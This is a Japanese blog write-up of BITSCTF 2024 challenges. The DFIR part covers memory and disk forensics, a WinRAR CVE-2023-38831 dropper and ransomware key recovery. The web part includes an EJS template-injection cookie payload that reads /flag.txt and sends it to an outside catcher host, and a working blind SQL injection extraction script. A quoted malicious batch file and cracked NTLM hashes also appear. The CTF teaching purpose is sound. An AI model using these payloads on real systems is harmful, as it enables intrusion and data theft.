はまやんはまやんはまやん

hamayanhamayan's blog

BITSCTF 2024 Writeups

https://ctftime.org/event/2235

DFIRカテゴリ

メモリダンプ、ディスクダンプ、ネットワークログが与えられるのでDFIRする問題群。面白かった。

Intro to DFIR

フラグが既に与えられているので答える。

Access Granted!

First things first. MogamBro is so dumb that he might be using the same set of passwords everywhere, so lets try cracking his PC's password for some luck.
Flag Format : BITSCTF{} Obviously you get access to further challenges only if you have the password ;)

パスワードを見つけてくる問題。メモリダンプからハッシュをダンプしてみよう。

$ python3 ~/.opt/volatility3/vol.py memdump.mem $file windows.hashdump
Volatility 3 Framework 2.4.1

User    rid lmhash  nthash

Administrator   500 aad3b435b51404eeaad3b435b51404ee    8a320467c7c22e321c3173e757194bb3
Guest   501 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503 aad3b435b51404eeaad3b435b51404ee    31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount  504 aad3b435b51404eeaad3b435b51404ee    74d0db3c3f38778476a44ff9ce0aefe2
MogamBro    1000    aad3b435b51404eeaad3b435b51404ee    8a320467c7c22e321c3173e757194bb3

問題文にもあるようにAdministratorとMogamBroのハッシュが一致している。
つまり、パスワードが使いまわされている。
CrackStationで検索すると平文が得られた。

Hash Type Result
8a320467c7c22e321c3173e757194bb3 NTLM adolfhitlerrulesallthepeople

よってadolfhitlerrulesallthepeopleが答え。

I'm wired in

MogamBro got scared after knowing that his PC has been hacked and tried to type a SOS message to his friend through his 'keyboard'. Can you find the contents of that message, obviously the attacker was logging him!
PCがハッキングされたことを知って怖くなったモガムブロは、「キーボード」を使って友人にSOSのメッセージを打とうとした。そのメッセージの内容がわかるだろうか。明らかに攻撃者は彼を記録している!

キーロガーみたいなものが仕込まれているみたい。
色々巡回すると、ディスクダンプのMogamBro/Desktop/keylog.pcapngというのがある。
中を見てみるとUSBの通信が残っているのでキーボードの通信ログに見える。

https://github.com/fa1c0n1/USBkeysTranslator
これを使って中身を解析してみよう。

$ python3 Usb_Keyboard_Parser.py ../MogamBro/MogamBro/Desktop/keylog.pcapng 

[+] Using filter "usbhid.data" Retrived HID Data is :

I haveebeen haakee  !!!
HELLMEE
BITSCTF{I_-7h1nk_th3y_4Re_k3yl0991ng_ME!}

 MogamBro

これがほぼフラグ。
‐を消して提出すると正答だった。
変な文字が混入したり、チャタリングしたりしてる時があるけど、どういうことかはよく分かってない。

0.69 Day

MogamBro was using some really old piece of software for his daily tasks. What a noob! Doesn't he know that using these deprecated versions of the same leaves him vulnerable towards various attacks! Sure he faced the consequences through those spam mails.
Can you figure out the CVE of the exploit that the attacker used to gain access to MogamBro's machine & play around with his stuff.
モガムブロは、日々の仕事に古いソフトを使っていた。なんて無能なんだ!このような非推奨バージョンを使っていると、さまざまな攻撃を受けやすくなることを彼は知らないのだ!確かに彼はスパムメールで痛い目にあった。
攻撃者がMogamBroのマシンにアクセスし、彼のものを弄るために使用したエクスプロイトのCVEを特定できるか。

ディスクダンプのMogamBroのユーザーディレクトリ以下を探索すると、MogamBro/AppData/Roaming/WinRARというのが見える。
MogamBro/Downloadsを見ると、Follow-these-instructions.zipというのがあり、解凍したら発動するアレかと想像する。
試しにWinRARの有名CVEを提出してみると、CVE-2023-38831が正答だった。
7zipで解凍すると、steps.pdf .batという以下のファイルが得られる。(一応defangしてある)

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
@echo off
lottery.exe & start chrome -incognito hxxps://pastebin[.]com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdf
exit

以下PoCの図でかかれている構造とよく似ていることが分かる。
https://github.com/z3r0sw0rd/CVE-2023-38831-PoC

CVE-2023-38831が正答。

Lottery

Now that you know the CVE, figure out how the attacker crafted the payload & executed it to compromise the 'secret'.

lottery.exe & start chrome -incognito hxxps://pastebin[.]com/mPvzn0AD & notepad.exe secret.png.enc & curl google.com -o steps.pdf & steps.pdfというのが実行されるコード。

lottery.exeをstringsで眺めてみるとpythonがexe化されているように見える。
extremecoders-re/pyinstxtractor: PyInstaller Extractorで分解する。

$ python3 pyinstxtractor/pyinstxtractor.py lottery.exe 
[+] Processing lottery.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 9008682 bytes
[+] Found 122 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: lottery.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: lottery.exe

You can now use a python decompiler on the pyc files within the extracted directory

python38.dllとあるのでPython 3.8環境みたい。
uncompyle6で分解しようとしたが、バージョン対象外にてデコンパイルできない。
pycdcというのを使ってみるとデコンパイルできた。

# Source Generated with Decompyle++
# File: lottery.pyc (Python 3.8)

import os
import tempfile
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def generate_key():
    key = os.urandom(32)
    fp = tempfile.TemporaryFile('w+b', False, **('mode', 'delete'))
    fp.write(key)
    return key


def encrypt_file(file_path, key):
Unsupported opcode: BEGIN_FINALLY
    iv = b'urfuckedmogambro'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    key = generate_key()
    file_path = 'secret.png'
    encrypt_file(file_path, key)
    print('Dear MogamBro, we are fucking your laptop with a ransomware & your secret image is now encrypted! Send $69M to recover it!')

一部デコンパイルに失敗しているが、なんとなく何をしているかは分かる。

  • AESで暗号化してそう
  • keyはos.urandom(32)で生成され、tempfileに吐き出されている
  • ivはb'urfuckedmogambro'

keyを何とか取得する必要がある。メモリダンプのwindows.filescanを眺めてみる。

0xb606c73b5850   \Users\MogamBro\AppData\Local\Temp\tmpd1tif_2a  216

これかな?ディスクダンプにちょうど含まれていたのでhdしてみる。

$ hd tmpd1tif_2a 
00000000  fb f6 0e 95 c2 f3 c9 6f  36 e1 19 55 38 e3 4e 30  |.......o6..U8.N0|
00000010  cf 1a 29 0f 1c 14 cd 5e  69 9e 47 6a 3b e2 bc 5e  |..)....^i.Gj;..^|
00000020

32bytesありますね。これっぽい。あとは適当にCBCを選ぶと復元できた。
レシピは以下のような感じ。

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'fbf60e95c2f3c96f36e1195538e34e30cf1a290f1c14cd5e699e476a3be2bc5e'%7D,%7B'option':'UTF8','string':'urfuckedmogambro'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Render_Image('Raw')

MogamBro's guilty pleasure 解けなかったので復習

MogamBro was spammed with a lot of emails, he was able to evade some but fell for some of them due to his greed. Can you analyze the emails & figure out how he got scammed, not once but twice!
モガムブロはたくさんの電子メールでスパムを受け、いくつかは回避することができたが、彼の貪欲さのためにいくつかの電子メールに引っかかってしまった。あなたはそのメールを分析し、彼が一度だけでなく二度も詐欺に遭った原因を突き止められるだろうか?

MogamBro\Documents\Outlookに2通のメールが残っていた。

  • Thu, 15 Feb 2024 15:37:19 +0000 | YOU WON A LOTTERY!

hxxps[://]1drv[.]ms/u/s!AiXlFY455FKjgsRMZ_g0DA7n8DmcMw hxxps[://]res[.]cdn[.]office[.]net/assets/mail/file-icon/png/zip_16x16[.]png hxxps[://]1drv[.]ms/u/s!AiXlFY455FKjgsRNp0vKfUig_a64Hg hxxps[://]res-h3[.]public[.]cdn[.]office[.]net/assets/mail/file-icon/png/exe_16x16[.]png

OneDriveからダウンロードしたファイルはChromeのキャッシュからChromeCacheViewを使って取得するとDownloadsフォルダにあるものと一致した。

$ md5sum y4mdtYxQyYarjAuCSj-xxgsFx_ylPrqSiVsmyOsQssMQAyePCvg_yfxzpjCByr 
42f0a9a08612315eae7a8c3b831a234c  y4mdtYxQyYarjAuCSj-xxgsFx_ylPrqSiVsmyOsQssMQAyePCvg_yfxzpjCByr

$ md5sum MogamBro/MogamBro/Downloads/lottery.exe
42f0a9a08612315eae7a8c3b831a234c  MogamBro/MogamBro/Downloads/lottery.exe

$ md5sum y4m3AmrAyS_7xxULjbWP7uW79iM_CuWxUc_QXcqA-iEnIlWbzwQClHyFaXDbpC.zip 
a22cba557a6d78dc5ef77460b6c460ef  y4m3AmrAyS_7xxULjbWP7uW79iM_CuWxUc_QXcqA-iEnIlWbzwQClHyFaXDbpC.zip

$ md5sum MogamBro/MogamBro/Downloads/Follow-these-instructions.zip 
a22cba557a6d78dc5ef77460b6c460ef  MogamBro/MogamBro/Downloads/Follow-these-instructions.zip

これは今までに解析したもので特に他に面白い情報はない。

  • Thu, 15 Feb 2024 14:23:15 +0000 | 50% Discount available on the Mimikyu plushie

特に添付ファイル無し。分からん…

コンテスト後復習。
https://github.com/warlocksmurf/onlinectf-writeups/blob/main/BITSCTF24/dfir.md#task-7-mogambros-guilty-pleasure
メールの本文にSpamMimmicという手法で隠しメッセージがステガノされてるらしい。
これがhow he got scammedか… 素直にステガノと書いておいて欲しかったが、しょうがない。

Bypassing Transport Layer

The exploit not only manipulated MogamBro's secret but also tried to establish an external TCP connection to gain further access to the machine. But I don't really think he was able to do so. Can you figure out where the exploit was trying to reach to?
このエクスプロイトは、MogamBroの秘密を操作するだけでなく、外部TCP接続を確立してマシンにさらにアクセスしようとした。しかし、それができたとはとても思えません。エクスプロイトがどこに到達しようとしていたのか、わかりますか?

MogamBro\Desktop\keysTLSキーが入ってそうだったのでwiresharkで適用してネットワークログを開くと色々復元できた。
設問「0.69 Day」で出てきたhxxps://pastebin[.]com/mPvzn0ADの通信も見られる。
TLS復号後の#64663パケットにフラグが書いてある。

            <div class="source text" style="font-size: px; line-height: px;">\n
                <ol class="text"><li class="li1"><div class="de1">IG the attacker forgot to implement the reverse proxy.\r
    </div></li><li class="li1"><div class="de1">Anyways here&#039;s your flag - BITSCTF{■■■■■■■■■■■■■}</div></li></ol>        </div>\n
        </div>

[web] Conquest 解けなかったので復習

ソースコード無し。
サイトを開くが特に何も情報が無い。
こういう時はということで/robots.txtを開くと置いてあった。

User-Agent: *
Disallow: /tournament

よく分からない順位表が出てくる。
特に何もなさそうだが、このコメントからguessするんだろう。

The dragon's portal lies among some of the well-known paths traversed by men.

虚無に陥り、コンテスト終了。
復習すると、次は /tournament/humans.txtに移動するのが正答パスらしい。はい。
すると「Fight the Beast!」というボタンが出てきて押すとToo Slow. Try Again!と言われる。
このときPOST /legendの通信が発生していてslayというので謎の小数値が送られている。
これを大きい数にするとフラグが得られる。つまり、以下でフラグ獲得。

POST /legend HTTP/1.1
Host: [victim]:2913
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

slay=9999999999999999999999999999999999999999

[web] Just Wierd Things

JWTを使ったサイトが与えられる。ソースコード有り。

const express = require('express');
const cookieParser = require('cookie-parser');
const path = require('path');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');


const app = express();
const PORT = 3000;

app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
app.set('views', path.join(__dirname, "view"));
app.set('view engine', 'ejs');

const mainToken = "Your_Token";
const mainuser="particular_username";

app.get('/', (req, res) => {
    let mainJwt = req.cookies.jwt || {};

    try {
        let jwtHead = mainJwt.split('.');

        let jwtHeader = jwtHead[0];
        jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8');
        jwtHeader = JSON.parse(jwtHeader);
        jwtHeader = JSON.stringify(jwtHeader, null, 4);
        mainJwt = {
            header: jwtHeader
        }

        let jwtBody = jwtHead[1];
        jwtBody = Buffer.from(jwtBody, "base64").toString('utf8');
        jwtBody = JSON.parse(jwtBody);
        jwtBody = JSON.stringify(jwtBody, null, 4);
        mainJwt.body = jwtBody;

        let jwtSignature = jwtHead[2];
        mainJwt.signature = jwtSignature;
    } catch(error) {
        if (typeof mainJwt === 'object') {
            mainJwt.error = error;
        } else {
            mainJwt = {
                error: error
            };
        }
    }
    res.render('index', mainJwt);
});

app.post('/updateName', (req, res) => {
    try {
        const newName = req.body.name;
        const token = req.cookies.jwt || ""; 
        const decodedToken = jwt.decode(token);
        decodedToken.name = newName;
        const newToken = jwt.sign(decodedToken, 'randomSecretKey');
        if (newName === mainuser) {
            res.cookie('jwt', mainToken);
        }else{
            res.cookie('jwt', newToken);
        }
        res.redirect('/');
    } catch (error) {
        res.redirect('/');
    }
});



app.listen(PORT, (err) => {
    console.log(`Server is Running on Port ${PORT}`);
});

ここから/flag.txtを持って来るのがゴールだが、LFI出来そうな余地は全くないように見える。
なので脆弱性が無いかライブラリを当たると"ejs": "^3.1.6"となっていて、以下のようなサイトを見つけた。
https://eslam.io/posts/ejs-server-side-template-injection-rce/
これは使えそう。

後は、cookieでdic型を差し込めればいい感じにできるんだけどなーと思ってnpm cookie-parser array ctfで適当に検索すると、以下を見つけてしまう。
https://satoooon1024.hatenablog.com/entry/SamsungCTF_Writeup#:~:text=%E3%82%8C%E3%81%BE%E3%81%97%E3%81%9F%E3%80%82-,%5BWeb%5D%20JWT%20Decoder%20%5B31%20solves%5D,-JWT%E3%82%92%E3%83%87%E3%82%B3%E3%83%BC%E3%83%89
変数名が違うだけで丸々一緒ですね…
まあ、とりあえず、solverを借りてきて以下のようにすればフラグ獲得。

import requests
requests.get("http://[victim]:5000/", headers={"Cookie": 'jwt=j:{"settings": {"view options": {"localsName": "locals = {body: this.constructor.constructor(`return (async ()=>(fs = await import(\'fs\'), http = await import(\'http\'), req = http.request(\' http://[yours].requestcatcher.com/test?\'+fs.readFileSync(\'/flag.txt\')), req.end()))()`)()}"}}}'})

[web] Too Blind To See

ソースコード無し。
色々ガチャガチャやっていると、SUBSCRIBEの入力でSQL Injectionができそうと分かる。

' or 0 --とすると{"exists":false,"message":"Email does not exist in the database"}
' or 1 --とすると{"exists":true,"message":"Email exists in the database"}

Blind SQL Injectionでデータベースの抜き出しができそう。
ガチャガチャやっているとSQLiteが動いているっぽいので、それに合わせてスクリプトを書いて抜き出す。

SELECT group_concat(sql) FROM sqlite_masterをBlind SQL Injectionで取り出すと以下のように出た。

CREATE TABLE `userdata` (
  `id` int(11) NOT NULL,
  `username` varchar(100) NOT NULL,
  `password` varchar(255) NOT NULL
),CREATE TABLE `maillist` (
  `email` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL
)

SELECT group_concat(email) FROM maillistでメールアドレスを取得し、
そのメールアドレスと問題文に書いてあるパスワードfluffybutterflyを使ってログインするとフラグが得られた。
以下のようなスクリプトでBlind SQL Injectionしていく。

import requests
import time

url = 'http://[victim]:7000/final-destination'
req = "SELECT group_concat(email) FROM maillist"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or {md} <= (SELECT unicode(substr(({req}),{i},1))) --"
        res = requests.post(url, data={'email':exp})
        if 'true' in res.text:
            ok = md
        else:
            ng = md
        time.sleep(1)

    if ok == 0:
        break

    ans += chr(ok)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")